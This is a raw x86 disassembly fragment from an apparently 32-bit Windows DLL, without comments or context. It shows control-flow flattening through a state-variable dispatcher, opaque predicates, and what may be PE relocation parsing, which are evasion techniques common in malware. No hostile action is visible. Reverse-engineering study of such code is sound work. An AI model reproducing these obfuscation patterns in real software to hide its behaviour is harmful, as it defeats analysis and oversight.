mov ecx, dword [ecx + 4]
sub eax, 0x4a001fa0
add eax, ecx
add eax, 0x4a001fa0
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x1b0], 0xda536467
jmp 0x1000ddf9
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1b0], 0x6231275a
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
mov edx, eax
sub edx, 0xf76c8a40
sub edx, 1
add edx, 0xf76c8a40
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x771d3ac6
mov ecx, 0x7d082466
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0x5a9bf2e6
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0xab559328
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbbfe9c60
mov ecx, 0xc2ce2dfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x85], al
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
add edx, 0x76a90d3f
sub edx, 1
sub edx, 0x76a90d3f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbbfe9c60
mov ecx, 0x28326cf8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
mov edx, eax
sub edx, 0x57ca1ede
sub edx, 1
add edx, 0x57ca1ede
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3e098f1
mov ecx, 0xf2b86ad7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov ecx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x160]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
add eax, 0xc
mov dword [ebp - 0x84], eax
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3e098f1
mov ecx, 0x5109b50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
sub edx, 0xa8bf290f
sub edx, 1
add edx, 0xa8bf290f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc1121a9d
mov ecx, 0xfd293dd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x80]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x79], al
mov eax, dword [0x1008653c]
mov ecx, dword [0x10086538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1121a9d
mov ecx, 0x65a6b732
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov ecx, dword [0x1008653c]
mov eax, dword [0x10086538]
mov edx, ecx
add edx, 0x364b6ec9
sub edx, 1
sub edx, 0x364b6ec9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb1da546c
mov ecx, 0xf8681b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x1000ddf9
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1b0], 0x67f179d0
jmp 0x1000ddf9
mov ecx, dword [ebp - 0x1a4]
sub ecx, 0x9f7ee831
add ecx, 8
add ecx, 0x9f7ee831
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov dword [ebp - 0x1b0], 0x394421c7
jmp 0x1000ddf9
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1b0], 0x47f4a8ec
jmp 0x1000ddf9
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x1b0], 0xc2ce2dfe
jmp 0x1000ddf9
mov ecx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x160]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1b0], 0xf2b86ad7
jmp 0x1000ddf9
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x1b0], 0xfd293dd7
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0xa023fcf2
jmp 0x1000ddf9
mov dword [ebp - 0x1b0], 0x3265924a
jmp 0x1000abf0